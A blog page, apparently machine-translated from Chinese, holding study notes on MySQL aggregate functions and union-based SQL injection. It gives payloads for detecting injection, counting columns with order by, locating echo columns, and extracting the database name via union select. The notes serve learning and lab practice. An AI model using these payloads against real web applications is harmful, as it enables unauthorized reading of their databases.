当前位置:网站首页>SQL injection -day16
SQL injection -day16
2022-07-03 18:04:00 【kanna_ bush_ t】
3、 ... and 、Mysql Inject
3.2 sentence
- select sum(grade) from users;
- select avg(grade) from users;
- select max(grade) from users;
- select min(grade) from users;
- String data sum,avg by 0,max,min Take by letter size
- The grouping function will automatically ignore NULL
- Mathematical operations If any NULL Participate in , The result is NULL
- Grouping functions cannot appear directly in where Back , as a result of group by Is in where Executed after statement execution
- Grouping functions can be combined
- select 5 Number : Pick out the data that meets the conditions
- from 1 Number : Set the table
- where 2 Number : Filter raw data
- group by 3 Number : Grouping
- having 4 Number : Filter the data again
- order by 6 Number : Sort


Four 、union Joint injection ( The single quotation mark closed character type is taken as an example )
4.1 Injection judgment
?id=1'
?id=1'4.2 order by Inquire about
?id=1' order by x--+
?id=1' order by x#-> Commonly used %23 Instead of
// among x Which column does the input number represent , Use dichotomy to narrow the scope ,x Then there are two minus signs and plus signs , For comments 4.3 Determine the echo position , Take three columns as an example
?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
// The front is to deny id=1 Echo of , Prevent others sql Statement only limit 0,1
// In this way, we can't view the information we want 
4.4 Echo position injection sql sentence
?id=-1' union select 1,(select database()),3--+

边栏推荐
- The third day of writing C language by Yabo people
- How to install PHP on Ubuntu 20.04
- Redis core technology and practice - learning notes (11): why not just string
- 远程办公工具分享|社区征文
- 分布式的任务分发框架-Gearman
- WebView module manages the application window interface to realize the logical control and management operation of multiple windows (Part 1)
- PHP MySQL order by keyword
- 聊聊支付流程的设计与实现逻辑
- Managing multiple selections with MVVM - managing multiple selections with MVVM
- Servlet specification Part II
猜你喜欢

STM32 realizes 74HC595 control

Computer graduation design PHP sports goods online sales system website

Redis core technology and practice - learning notes (IX): slicing cluster

Analysis report on production and marketing demand and investment forecast of China's PVC industry from 2021 to 2026

Research Report on market demand and investment planning for the development of China's office chair industry, 2022-2028
![Golang string (string) and byte array ([]byte) are converted to each other](/img/41/20f445ef9de4adf2a2aa97828cb67f.jpg)
Golang string (string) and byte array ([]byte) are converted to each other

聊聊支付流程的設計與實現邏輯

AcWing 271. 杨老师的照相排列【多维DP】

Prototype inheritance..

TCP拥塞控制详解 | 3. 设计空间
随机推荐
Redis core technology and practice - learning notes (VIII) sentinel cluster: sentinel hung up
ArrayList分析3 : 删除元素
[LINUX]CentOS 7 安装MYSQL时报错“No package mysql-server available“No package zabbix-server-mysql availabl
[combinatorics] generating function (use generating function to solve the combination number of multiple sets R)
[enumeration] annoying frogs always step on my rice fields: (who is the most hateful? (POJ hundred practice 2812)
Introduction to PHP MySQL
MySQL has been stopped in the configuration interface during installation
[Tongxin UOS] scanner device management driver installation
PHP MySQL reads data
Market demand survey and marketing strategy analysis report of global and Chinese pet milk substitutes 2022-2028
Talk about the design and implementation logic of payment process
Codeforces Round #803 (Div. 2) C. 3SUM Closure
远程办公工具分享|社区征文
How to draw non overlapping bubble chart in MATLAB
Computer graduation design PHP makeup sales Beauty shopping mall
Investigation on the operation prospect of the global and Chinese Anti enkephalinase market and analysis report on the investment strategy of the 14th five year plan 2022-2028
Bidding procurement scheme management of Oracle project management system
解决Zabbix用snmp监控网络流量不准的问题
A. Odd Selection【BruteForce】
supervisor监控Gearman任务